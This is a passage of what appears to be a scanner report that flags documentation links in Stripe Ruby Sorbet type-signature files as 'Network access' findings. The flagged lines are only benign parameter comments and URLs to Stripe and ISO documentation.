    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1407
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1408
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1429
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1430
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1431
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1478
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1479
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1480
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1605
    class Verification < ::Stripe::RequestParams         class Document < ::Stripe::RequestParams           # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verificat
  • Network accessline 1606
    class Document < ::Stripe::RequestParams           # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (sm
  • Network accessline 1607
    # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF
  • Network accessline 1610
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }           def back=(_back); end           # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_ve
  • Network accessline 1611
    def back=(_back); end           # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px
  • Network accessline 1612
    # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD
  • Network accessline 1705
    }       def ownership_declaration=(_ownership_declaration); end       # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemp
  • Network accessline 1706
    def ownership_declaration=(_ownership_declaration); end       # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-fro
  • Network accessline 1707
    # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st
  • Network accessline 1796
    class Documents < ::Stripe::RequestParams       class BankAccountOwnershipVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `a
  • Network accessline 1797
    class BankAccountOwnershipVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nil
  • Network accessline 1798
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1805
    end       class CompanyLicense < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1806
    class CompanyLicense < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[Stri
  • Network accessline 1807
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1814
    end       class CompanyMemorandumOfAssociation < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1815
    class CompanyMemorandumOfAssociation < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilab
  • Network accessline 1816
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1823
    end       class CompanyMinisterialDecree < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1824
    class CompanyMinisterialDecree < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::
  • Network accessline 1825
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1832
    end       class CompanyRegistrationVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1833
    class CompanyRegistrationVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nila
  • Network accessline 1834
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1841
    end       class CompanyTaxIdVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1842
    class CompanyTaxIdVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::
  • Network accessline 1843
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1850
    end       class ProofOfAddress < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1851
    class ProofOfAddress < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[Stri
  • Network accessline 1852
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1868
    def initialize(person: nil); end         end         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1869
    end         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[String])) }
  • Network accessline 1870
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1895
    def initialize(person: nil); end         end         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1896
    end         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[String])) }
  • Network accessline 1897
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1914
    def initialize(files: nil, signer: nil); end       end       # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a doc
  • Network accessline 1915
    end       # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active 
  • Network accessline 1916
    # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active bank accou
  • Network accessline 1993
    end     class Groups < ::Stripe::RequestParams       # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/
  • Network accessline 1994
    class Groups < ::Stripe::RequestParams       # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/
  • Network accessline 1995
    # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details.
  • Network accessline 2008
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2009
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2010
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2028
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2029
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2030
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2051
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2052
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2053
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2100
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2101
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2102
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2168
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2169
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2170
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2188
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2189
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2190
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2246
    class Verification < ::Stripe::RequestParams         class AdditionalDocument < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docume
  • Network accessline 2247
    class AdditionalDocument < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (sma
  • Network accessline 2248
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 2251
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }           def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`
  • Network accessline 2252
    def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px
  • Network accessline 2253
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 2260
    end         class Document < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (s
  • Network accessline 2261
    class Document < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 
  • Network accessline 2262
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 2265
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }           def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`
  • Network accessline 2266
    def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px
  • Network accessline 2267
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 2384
    sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) }       def maiden_name=(_maiden_name); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful
  • Network accessline 2385
    def maiden_name=(_maiden_name); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 2386
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 2467
    end       class Branding < ::Stripe::RequestParams         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.
  • Network accessline 2468
    class Branding < ::Stripe::RequestParams         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.         sig { returns(T.nilable(String)) }
  • Network accessline 2469
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.
  • Network accessline 2472
    sig { params(_icon: T.nilable(String)).returns(T.nilable(String)) }         def icon=(_icon); end         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of 
  • Network accessline 2473
    def icon=(_icon); end         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at l
  • Network accessline 2474
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px.
  • Network accessline 2598
    end       class Payments < ::Stripe::RequestParams         # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as th
  • Network accessline 2599
    class Payments < ::Stripe::RequestParams         # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statemen
  • Network accessline 2600
    # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statement descriptor prefix. In that case, if concatenati
  • Network accessline 2603
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }         def statement_descriptor=(_statement_descriptor); end         # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese sta
  • Network accessline 2604
    def statement_descriptor=(_statement_descriptor); end         # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/s
  • Network accessline 2605
    # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 2608
    sig { params(_statement_descriptor_kana: T.nilable(String)).returns(T.nilable(String)) }         def statement_descriptor_kana=(_statement_descriptor_kana); end         # The Kanji variation of `statement_descriptor` used for charges in Jap
  • Network accessline 2609
    def statement_descriptor_kana=(_statement_descriptor_kana); end         # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-starte
  • Network accessline 2610
    # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 2826
    def initialize(date: nil, ip: nil, service_agreement: nil, user_agent: nil); end     end     # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account.
  • Network accessline 2827
    end     # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account.     sig { returns(T.nilable(String)) }
  • Network accessline 2828
    # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account.
  • Network accessline 2864
    }     def company=(_company); end     # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts).
  • Network accessline 2865
    def company=(_company); end     # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts).     sig { returns(
  • Network accessline 2866
    # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts).
  • Network accessline 2909
    }     def individual=(_individual); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 2910
    def individual=(_individual); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 2911
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/application_fee_refund_create_params.rbi

  • Network accessline 15
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 16
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 17
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/application_fee_refund_update_params.rbi

  • Network accessline 10
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 11
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 12
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/balance_settings_update_params.rbi

  • Network accessline 100
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Settings that apply to the [Payments Balance](https://docs.stripe.com/api/balance).
  • Network accessline 101
    def expand=(_expand); end     # Settings that apply to the [Payments Balance](https://docs.stripe.com/api/balance).     sig { returns(T.nilable(BalanceSettingsUpdateParams::Payments)) }
  • Network accessline 102
    # Settings that apply to the [Payments Balance](https://docs.stripe.com/api/balance).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/balance_transaction_list_params.rbi

  • Network accessline 38
    }     def created=(_created); end     # Only return transactions in a certain currency. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs
  • Network accessline 39
    def created=(_created); end     # Only return transactions in a certain currency. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre
  • Network accessline 40
    # Only return transactions in a certain currency. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/billing/credit_grant_create_params.rbi

  • Network accessline 8
    class Amount < ::Stripe::RequestParams         class Monetary < ::Stripe::RequestParams           # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `value` parameter.
  • Network accessline 9
    class Monetary < ::Stripe::RequestParams           # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `value` parameter.           sig { returns(String) }
  • Network accessline 10
    # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `value` parameter.
  • Network accessline 85
    }       def amount=(_amount); end       # Configuration specifying what this credit grant applies to. We currently only support `metered` prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them.
  • Network accessline 86
    def amount=(_amount); end       # Configuration specifying what this credit grant applies to. We currently only support `metered` prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them.       sig { re
  • Network accessline 87
    # Configuration specifying what this credit grant applies to. We currently only support `metered` prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/billing/meter_event_create_params.rbi

  • Network accessline 21
    sig { params(_identifier: T.nilable(String)).returns(T.nilable(String)) }       def identifier=(_identifier); end       # The payload of the event. This must contain the fields corresponding to a meter's `customer_mapping.event_payload_key`
  • Network accessline 22
    def identifier=(_identifier); end       # The payload of the event. This must contain the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key` (defau
  • Network accessline 23
    # The payload of the event. This must contain the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key` (default is `value`). Read more about the [pay

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/billing_portal/configuration_create_params.rbi

  • Network accessline 193
    def initialize(conditions: nil); end           end           # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value 
  • Network accessline 194
    end           # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycl
  • Network accessline 195
    # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th
  • Network accessline 308
    end       class LoginPage < ::Stripe::RequestParams         # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take 
  • Network accessline 309
    class LoginPage < ::Stripe::RequestParams         # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your custo
  • Network accessline 310
    # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your customers to a hosted login page for the customer porta
  • Network accessline 323
    }       def business_profile=(_business_profile); end       # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessi
  • Network accessline 324
    def business_profile=(_business_profile); end       # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/crea
  • Network accessline 325
    # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t
  • Network accessline 340
    }       def features=(_features); end       # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share).
  • Network accessline 341
    def features=(_features); end       # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share).       sig
  • Network accessline 342
    # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share).
  • Network accessline 347
    }       def login_page=(_login_page); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 348
    def login_page=(_login_page); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 349
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/billing_portal/configuration_update_params.rbi

  • Network accessline 195
    def initialize(conditions: nil); end           end           # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value 
  • Network accessline 196
    end           # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycl
  • Network accessline 197
    # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th
  • Network accessline 310
    end       class LoginPage < ::Stripe::RequestParams         # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take 
  • Network accessline 311
    class LoginPage < ::Stripe::RequestParams         # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your custo
  • Network accessline 312
    # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your customers to a hosted login page for the customer porta
  • Network accessline 332
    }       def business_profile=(_business_profile); end       # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessi
  • Network accessline 333
    def business_profile=(_business_profile); end       # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/crea
  • Network accessline 334
    # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t
  • Network accessline 349
    }       def features=(_features); end       # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share).
  • Network accessline 350
    def features=(_features); end       # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share).       sig
  • Network accessline 351
    # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share).
  • Network accessline 356
    }       def login_page=(_login_page); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 357
    def login_page=(_login_page); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 358
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/billing_portal/session_create_params.rbi

  • Network accessline 128
    end           class Item < ::Stripe::RequestParams             # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated.
  • Network accessline 129
    class Item < ::Stripe::RequestParams             # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated.             sig { returns(String) }
  • Network accessline 130
    # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated.
  • Network accessline 133
    sig { params(_id: String).returns(String) }             def id=(_id); end             # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.prod
  • Network accessline 134
    def id=(_id); end             # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/confi
  • Network accessline 135
